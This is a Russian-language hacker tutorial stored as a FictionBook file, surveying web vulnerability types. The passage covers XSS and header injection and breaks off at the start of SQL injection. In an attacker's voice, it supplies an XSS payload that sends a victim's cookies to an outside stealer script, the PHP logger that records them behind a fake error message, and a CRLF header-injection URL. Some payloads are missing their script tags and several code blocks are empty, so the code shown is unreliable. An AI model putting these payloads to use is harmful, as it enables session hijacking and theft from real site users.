<?xml version="1.0" encoding="utf-8"?>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>sf_history</genre>
<author><first-name>Имя автора</first-name><last-name>Фамилия автора</last-name></author>
<book-title>Обзор типов уязвимостей</book-title>
<date>Дата</date>
<lang>ru</lang>
</title-info>
<document-info>
<author><nickname></nickname></author>
<program-used>Lib converter jcms</program-used>
<id></id>
<version>1.0</version>
</document-info>
</description>
<body><title><p>Обзор типов уязвимостей</p></title>
<section><p>В наши дни развелось до фига уязвимых программ и скриптов. Стоит глянуть на securityfocus.com или securitylab.ru как сразу можно в этом убедиться. Сплошные xss, инлюдинги, sql-инъекции... Пришло время систематизировать наши знания о них. Сегодя мы поговорим о:</p>
<p>1) XSS aka CSS aka Cross Site Scripting</p>
<p>2) SQL-injection</p>
<p>3) including</p>
<p>4) null-byte poison</p>
<p>5) PHP-including</p>
<p>6) Remote Command Execution в open() в Perl-скриптах</p>
<p>Начнем с самых "безобидных" и закончим критическими уязвимостями.</p>
<p>I. Cross Site Scripting.</p>
<p>Атака "межсайтовый скриптинг" представляет собой внедрение произвольного HTML-кода в текст выходной страницы. Естественно, внедрять будем не что попало, а маленький JavaScript, который украдет cookies пользователя. Пример уязвимого скрипта xss.php</p>
<p>[code=php]echo "Hello, ".$_GET['name']."</p>
<p>";[/code]</p>
<p>Изначально предполагалось, что скрипт будет здороваться с нами, но мы его научим другим вещам :) Попробуем вызвать его следующим образом:</p>
<p>[color=#173bd3]xss.php?name=lamo</p>
<p>alert(document.cookie);[/color]</p>
<p>Скрипт послушно вставит значение параметра name в страницу и вот что выйдет:</p>
<p>[code=html]Hello, lamo</p>
<p>alert(document.cookie);[/code]</p>
<p>Т.е. кроме приветствия еще вылетит окошко с кукисами, установленными на этом домене. Для успещной эксплуатации уязвимости, конечно, следует сделать что-нибудь вроде этого:</p>
<p>xss.php?name=lamo</p>
<p>window.top.location.href='http://www.mysite.com/cookiestealer.php?"+document.cookie;</p>
<p>А сам cookiestealer.php должен быть примерно слудующий:</p>
<p>[code=php]$cookies=$_ENV['QUERY_STRING'];</p>
<p>$f=fopen("cookies.log", "a+") or exit;</p>
<p>fputs($f, "----new cookie----\r\n".$cookies."\r\n--------\r\n\r\n");</p>
<p>fclose($f);</p>
<p>echo "Фатальная ошибка 56";</p>
<p>[/code]</p>
<p>Как видно, скрипт послушно запишет переданные ему параметры в лог и уведомит пользователя о якобы произошедшей ошибке</p>
<p>Так же уязвимыми могут быть скрипты, которые нефильтруют аргументы, передающиеся в header()</p>
<p>Пример бажного скрипта:</p>
<p>Code:</p>
<p>Вызов:</p>
<p>header.php?type=html%0d%0a%0d%0aalert();</p>
<p>Т.к. \r\n\r\n (в hex-виде - 0d 0a 0d 0a) является маркером конца заголовка, то последующие данные воспримутся браузером как код страницы. Конечно, пример достаточно нереалистичен, но, я думаю, ясно, как использовать данную уязвимость.</p>
<p>II. SQL-injection</p>
<p>Если скрипт подвержен уязвимости типа sql-инъекции, то удаленный атакующий может изменить sql-запрос и вывести совсем не те данные, на вывод которых был рассчитан этот скрипт. Пример уязвимого скрита:</p>
<p>пусть есть скрипт авторизации:</p>
<p>Code:</p>
</section>
</body>
</FictionBook>